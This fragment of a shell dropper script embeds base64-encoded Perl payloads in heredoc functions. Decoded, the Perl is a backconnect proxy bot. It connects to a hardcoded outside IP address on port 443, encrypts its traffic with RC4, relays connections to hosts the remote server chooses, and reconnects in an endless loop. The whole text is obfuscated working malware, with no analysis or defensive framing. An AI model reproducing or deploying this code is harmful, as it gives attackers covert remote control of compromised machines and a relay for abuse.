IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_7() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjYnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
